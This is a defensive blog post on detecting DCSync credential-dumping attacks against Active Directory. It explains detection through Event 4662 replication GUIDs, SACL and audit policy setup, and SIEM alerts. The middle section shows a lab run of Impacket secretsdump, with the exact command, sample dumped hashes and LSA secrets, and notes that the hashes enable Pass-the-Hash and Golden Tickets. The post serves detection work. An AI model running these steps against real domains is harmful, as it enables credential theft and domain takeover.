DCSync Attack Detection: How to Detect Domain Controller Impersonation

Q: What Is a DCSync Attack?

DCSync is a post-exploitation technique where an attacker impersonates a Domain Controller and requests data replication from the real DC using the MS-DRSR (Directory Replication Service Remote Protocol) — the same protocol legitimate DCs use to sync with each other.

Q: How to Simulate DCSync with Impacket secretsdump

In my lab, I used secretsdump.py from the Impacket toolkit — an open-source Python library widely used in Windows and Active Directory penetration testing. It runs from Kali Linux and requires no domain join.

Q: How to Enable Windows Event 4662 for DCSync Detection?

Event ID 4662 is not logged by default. You must configure two things: an audit policy and a SACL on the domain object. Skip either one and you will have blind spots.

DCSync Attack Detection means monitoring for an attacker impersonating a Domain Controller to request credential replication via the MS-DRSR protocol. Key indicators: Windows Event ID 4662 carrying replication GUIDs from a non-DC account, and a source IP not matching any Domain Controller. Combining SACL configuration, Advanced Audit Policy, and SIEM alerting enables early detection.

This post covers how DCSync works under the hood, how to simulate it in a lab with Impacket secretsdump, and — more importantly — exactly what to look for in Windows Event Log to catch it in a real environment. If you work in Blue Team or are studying Active Directory security, this is one technique you need to know cold.

What Is a DCSync Attack?

DCSync is a post-exploitation technique where an attacker impersonates a Domain Controller and requests data replication from the real DC using the MS-DRSR (Directory Replication Service Remote Protocol) — the same protocol legitimate DCs use to sync with each other.

Because the real DC believes it is syncing with a trusted peer, it hands over:

NTLM password hashes for all domain users
The krbtgt hash — used to forge Golden Tickets
Administrator and service account hashes
Other sensitive AD secrets from NTDS.DIT

The most dangerous aspect: the attacker never needs to log on to the Domain Controller directly. This is a fully remote, network-level attack. In MITRE ATT&CK, it maps to T1003.006 — OS Credential Dumping: DCSync.

What Permissions Are Needed to Perform DCSync?

DCSync is not available to every domain account. The compromised account must hold at least one of the following extended rights on the domain root object:

Right	Description	Risk Level
`Replicating Directory Changes`	Baseline permission to initiate replication	High
`Replicating Directory Changes All`	Replication of all data including secrets	Critical
`Replicating Directory Changes In Filtered Set`	Filtered replication — still sufficient for DCSync	High

By default, only Domain Controllers, Domain Admins, and Enterprise Admins hold these rights. If you find any regular user or service account with these permissions, treat it as an immediate red flag and investigate the account’s history.

How to Simulate DCSync with Impacket secretsdump

In my lab, I used secretsdump.py from the Impacket toolkit — an open-source Python library widely used in Windows and Active Directory penetration testing. It runs from Kali Linux and requires no domain join.

1. Install Impacket

Use pipx to install Impacket in an isolated environment:

bash

pipx install impacket

2. Activate the virtual environment

Navigate to the Impacket venv and activate it before running any of its scripts:

bash

cd ~/.local/share/pipx/venvs/impacket
source ./bin/activate

3. Run secretsdump via DCSync

With the environment active, execute secretsdump.py pointing at the Domain Controller:

bash

secretsdump.py -dc-ip 10.10.10.10 domain.local/user:<password>@10.10.10.10 -just-dc-user domain.local/administrator

Option breakdown:

Option	Meaning
`-dc-ip 10.10.10.10`	IP address of the target Domain Controller
`domain.local/user:<password>`	Compromised domain account with replication rights
`@10.10.10.10`	Directs the request to the DC
`-just-dc-user`	Dump only the specified user’s hash instead of the whole domain

Expected output

If the attack succeeds, the terminal returns NTLM hashes in lmhash:nthash format:

Impacket v0.10.0 Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x970fc99326391f25dc5ec874c4ee4ba6
[*] Dumping local SAM hashes (uid:rid: lmhash:nthash)
Administrator: 500:aad3b435b51404eeaad3b435b51404ee: 579da618cfbfa85247acf1f800a280a4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount: 503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN DC1$:aes256-cts-hmac-sha1-96:585f8bc847ecba56d5796a271e6f5b234c958148d85382a3882c5dfb9134bcb5
DOMAIN DC1$:aes128-cts-hmac-sha1-96:c918a30c995a61bdd36871a53ca9bd7d
DOMAIN DC1$:des-cbc-md5:dfe5eafb08e0bc80
DOMAIN 054005e004e006d0039002000240067006e0026002000340057006900510040003600310040006f003f004000490069004700480048006200400047002700
DC1$:plain_password_hex: 43002200460073006100650065002c0069003800630048007300590024005e005e00460022003f005400360
78003a00590063007800700046007a002100430038006f005100490034005c002600220032002200220073006a002a00670070003200380037003c0062006
e0073003b004e0071002500280040002100260058006f004e0065004c005e002e005a0060003c00790074002e002a0024002a005400430050007a0065004f
002b005e0023004100
DOMAIN DC1$:aad3b435b51404eeaad3b435b51404ee:8f4aacebaf73e3f9ae44c454d6941754:::
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x189352272b8c885842dbebe6eae1855430e9f573
dpapi_userkey: 0x9b3ea5cff1fdab938151913dd41cdbbc85fced20
[*] NL$KM
ED BE C1 31 F6 35 19 25 A6 F1 CD 6A C1 9C D4 C3
...1.5.%...j....0000
0010 EA C3 15 66 A5 62 1D B2 AC F9 CE 26 39 51 74 40
...f.b.....&9Qt@
0020 02 31 3F 00 8D 8D BD 06 33 04 00 55 F5 99 8D DE
0030 49 53 55 14 89 56 4E E7 CD 8A 5B B6 10 92 C0 D6 ISU..VN...[.....
NL$KM:edbec131f6351925a6f1cd6ac19cd4c3eac31566a5621db2acf9ce263951744002313f008d8dbd06330a0055f5998dde4953551489564ee7cd8a5bb
61092c0d6
[*] Dumping Domain Credentials (domain\uid:rid: lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] [Errno 104] Connection reset by peer
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...

Those NTLM hashes can immediately be used in a Pass-the-Hash attack, or the krbtgt hash can be leveraged to forge a Golden Ticket for indefinite persistence in the domain.

What Windows Event Log Signs Indicate a DCSync Attack?

When a DCSync attack runs, the Domain Controller logs several unusual events. Here is what to look for.

Event ID 4662 — Object Operation (Most Important)

This is the primary detection signal for DCSync. The event fires on the DC when an account accesses an AD object with specific permissions. Filter by all three fields together:

Field	Expected Value in a DCSync
Object Type	`domainDNS`
Accesses	`Control Access`
Properties (GUID)	One of the three replication GUIDs below

The three GUIDs that identify DCSync activity:

GUID	Right
`{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}`	DS-Replication-Get-Changes
`{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}`	DS-Replication-Get-Changes-All
`{89e95b76-444d-4c62-991a-0facbeda640c}`	DS-Replication-Get-Changes-In-Filtered-Set

Red flag: Event 4662 fires with one of those GUIDs, but the Account Name is not a Domain Controller — and the source IP does not belong to any DC in your infrastructure. That combination is DCSync.

Event ID 4738 / 4742 — Account Changed

If the attacker first had to grant themselves replication rights before executing DCSync, you will see changes logged before Event 4662:

4738 — A user account was changed (replication right added to a user)
4742 — A computer account was changed (replication right added via a machine account)

These appear before Event 4662 in the attack timeline — useful for reconstructing the full chain.

Quick Detection Checklist

Event 4662 with a replication GUID from an account that is not a Domain Controller
Source IP not in the known Domain Controller IP list
A regular domain user holding
Replicating Directory Changes
Multiple MS-DRSR requests in a short window from a single non-DC host
Event 4738 / 4742 shortly before Event 4662 (escalation + dump pattern)

How to Enable Windows Event 4662 for DCSync Detection?

Event ID 4662 is not logged by default. You must configure two things: an audit policy and a SACL on the domain object. Skip either one and you will have blind spots.

Step 1 — Enable Audit Directory Service Access via Group Policy

Group Policy path

Computer Configuration
  → Windows Settings
  → Security Settings
  → Advanced Audit Policy Configuration
  → DS Access
  → Audit Directory Service Access
    → Configure: Success + Failure

Step 2 — Add a SACL on the Domain Root Object via ADSI Edit

Open ADSI Edit → Connect to Default Naming Context → right-click the domain root object → Properties → Security → Advanced → Auditing → Add a new entry:

SACL configuration

Principal : Authenticated Users (or Everyone)
Type      : Success
Applies to: This object only
Permissions:
  ✓ Replicating Directory Changes
  ✓ Replicating Directory Changes All

After both steps, every replication request hitting that domain object will produce an Event 4662 in the Security log. Forward that log to your SIEM and build an alert on the replication GUIDs above.

How Does DCSync Compare to LDAP Enumeration?

Both techniques target the Domain Controller and are commonly chained together, but they operate at different layers and serve different goals in an attack chain.

Criteria	DCSync	LDAP Enumeration
Protocol	MS-DRSR	LDAP (389 / 636)
Required rights	Replication rights	Standard domain user
Data obtained	Password hashes	User, Group, Computer info
Harder to detect?	Yes	No
MITRE ATT&CK	T1003.006	T1087.002 / T1069.002
Common tools	secretsdump, mimikatz	bloodhound-python, ldapdomaindump
Phase in attack	Credential Access	Discovery / Reconnaissance

In a real attack, LDAP Enumeration typically comes first — the attacker runs BloodHound to map the AD environment and identify accounts with replication rights. Then they pivot to DCSync to harvest credentials. Detecting the LDAP phase early can stop DCSync before it starts.

Conclusion

DCSync is one of the most dangerous techniques in Active Directory post-exploitation because it dumps the entire credential store of a domain without ever touching the Domain Controller directly. To defend against it:

Audit replication permissions now — run a sweep of who holds Replicating Directory Changes across all domain objects. Any non-DC account with this right needs to be investigated immediately.
Enable Event 4662 correctly — both the Advanced Audit Policy and the SACL on the domain root object must be in place. One without the other produces no logs.
Alert in your SIEM — build a rule on Event 4662 with replication GUIDs from non-DC account names. Keep a live list of DC hostnames to compare against.
Apply least privilege — no service account or regular user should ever need replication rights. If one does, scope it narrowly and monitor it closely.